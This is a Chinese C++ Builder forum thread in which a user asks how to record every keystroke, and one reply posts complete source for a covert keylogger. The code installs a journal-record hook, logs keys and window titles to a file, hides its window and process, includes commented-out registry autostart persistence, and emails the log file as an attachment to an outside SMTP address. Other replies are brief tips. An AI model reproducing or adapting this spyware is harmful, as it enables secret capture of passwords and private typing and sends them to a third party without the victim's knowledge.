如何记录所有的键盘操作?

aagan 2000-04-27 06:03:00
...全文
444 5 打赏 收藏 转发到动态 举报
写回复
用AI写文章
5 条回复
切换为时间正序
请发表友善的回复…
发表回复
夭夭 2001-03-06
  • 打赏
  • 举报
回复
//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdio.h>
#include "Ycregkey.h"
#pragma hdrstop

#include "editlog.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
//#pragma link "yupack"
#pragma resource "*.dfm"
TForm1 *Form1;
HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam);
HHOOK g_hLogHook=NULL; //钩子变量
HWND g_hLastFocus=NULL;

HWND g_SelfHandle=NULL;

//记录上一次得到焦点的窗口句柄
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值

#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0

//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{

hKernelLib = LoadLibrary("kernel32.dll");
if(hKernelLib)
{
RegisterServiceProcess =(pRegFunction)GetProcAddress(hKernelLib,"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),RSP_SIMPLE_SERVICE);

}

}


__fastcall TForm1::~TForm1()
{
if(hKernelLib)
{
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),RSP_UNREGISTER_SERVICE);
FreeLibrary(hKernelLib);
}

}






//---------------------------------------------------------------------------



HOOKPROC JournalLogProc(int iCode,WPARAM wParam, LPARAM lParam)
{
if (iCode< 0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{
EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i;
HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfile.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{
GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now()).c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57)
// 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey >=65 && vKey<=90)
// A-Z a-z
{
if (!bCapital)
if (bShift) ch=vKey; else ch=vKey+32;
else
if (bShift) ch=vKey+32; else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey >=96 && vKey<=105) // 小键盘0-9
if (bNumLock) fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{
switch (vKey)
{
case 186:if (!bShift) ch=';'; else ch=':';break;
case 187:if (!bShift) ch='='; else ch='+';break;
case 188:if (!bShift) ch=','; else ch='<' ;break;
case 189:if (!bShift) ch='-'; else ch='_';break;
case 190:if (!bShift) ch='.'; else ch=' >';break;
case 191:if (!bShift) ch='/'; else ch='?';break;
case 192:if (!bShift) ch='`'; else ch='~';break;
case 219:if (!bShift) ch='['; else ch='{';break;
case 220:if (!bShift) ch='\\'; else ch='|';break;
case 221:if (!bShift) ch=']'; else ch='}';break;
case 222:if (!bShift) ch='\''; else ch='\"';break;
default:ch='n';break;
}
if (ch!='n') fprintf(stream,"%c",ch);
}
// if (wParam >=112 && wParam<=123)
// 功能键 [F1]-[F12]
if(vKey==VK_F12)
::PostMessage(g_SelfHandle,WM_CLOSE,0,0);



if (vKey >=8 && vKey<=46) //方向键
{
switch (vKey)
{
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n';break;
}
if (ch!='n')
{
if (g_PrvChar!=vKey)
{
fprintf(stream,"%s",str);
g_PrvChar=vKey;
}
}
}
}
if(pEvt->message==WM_LBUTTONDOWN || pEvt->message==WM_RBUTTONDOWN)
{
hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{
g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
}

void __fastcall TForm1::SpeedButton3Click(TObject *Sender)
{

if (g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}

Close();
}
//---------------------------------------------------------------------------

void _fastcall TForm1::notify_message(TMessage &Msg)
{

int x = LOWORD(Msg.LParam); // horizontal position of cursor
int y = HIWORD(Msg.LParam);

::SendMessage(Handle,WM_NCLBUTTONDOWN,HTCAPTION,MAKELPARAM(x,y));

}


void __fastcall TForm1::FormCreate(TObject *Sender)
{
// HRGN hRgnR = CreateEllipticRgn(0,0,SpeedButton1->Width,SpeedButton1->Height);
// SetWindowRgn(SpeedButton1->Handle,hRgnR,TRUE);

/*
CopyFile("d:\\test\\log.exe","d:\\test\\copytest.exe",TRUE);

CregKey myreg;
myreg.Open(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUN");
DWORD m_connected;
myreg.Write("RemoteMon","d:\\test\\copytest.exe");
myreg.close();
*/

g_SelfHandle=Handle;
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0); //安装日志钩子

SetTimer(Handle,1,1000*120,NULL);

}
//---------------------------------------------------------------------------

void _fastcall TForm1:: HandleTimer(TMessage &Msg)
{
if(CheckConnected())
{
SendEmail();
KillTimer(Handle,1);
}
}

bool _fastcall TForm1:: CheckConnected()
{

DWORD pData;
CregKey myreg;
myreg.Open(HKEY_LOCAL_MACHINE,"SYSTEM\\CURRENTCONTROLSET\\SERVICES\\REMOTEACCESS");
DWORD m_connected;
myreg.Read("Remote Connection",pData);
myreg.close();
if(pData)
return true;
else
return false;

}

bool _fastcall TForm1::SendEmail()
{

NMSMTP1->Host="smtp.citiz.net";
// NMSMTP1->Disconnect();
NMSMTP1->Connect();


NMSMTP1->PostMessage->FromAddress ="zhangyunchao@citiz.net";
NMSMTP1->PostMessage->FromName = "zyc";
NMSMTP1->PostMessage->ToAddress->Add("zhangyunchao@citiz.net");
// NMSMTP1->PostMessage->ToCarbonCopy->Add(CCField->Text);
// NMSMTP1->PostMessage->ToBlindCarbonCopy->Add(BCCField->Text);
NMSMTP1->PostMessage->Body->Add("This is a test");
NMSMTP1->PostMessage->Attachments->Add("c:\\logfile.txt");
NMSMTP1->PostMessage->Subject = "a test";
// NMSMTP1->PostMessage->LocalProgram = "NMSMTP Demo";
NMSMTP1->SendMail();

}



void __fastcall TForm1::FormActivate(TObject *Sender)
{
::ShowWindow(Handle,SW_HIDE);
}
//---------------------------------------------------------------------------

aagan 2001-03-06
  • 打赏
  • 举报
回复
日志钩子不能在nt或是2000下使用
tide 2000-06-20
  • 打赏
  • 举报
回复
grwy.online.ha.cn/tide 下有完整的例子。
Questone 2000-06-07
  • 打赏
  • 举报
回复
我用日志钩子实现了这一功能,需要例子的话,给我发EMAIL
li@dong.com.cn
Wingsun 2000-04-27
  • 打赏
  • 举报
回复
使用键盘HOOK

13,822

社区成员

发帖
与我相关
我的任务
社区描述
C++ Builder相关内容讨论区
社区管理员
  • 基础类社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧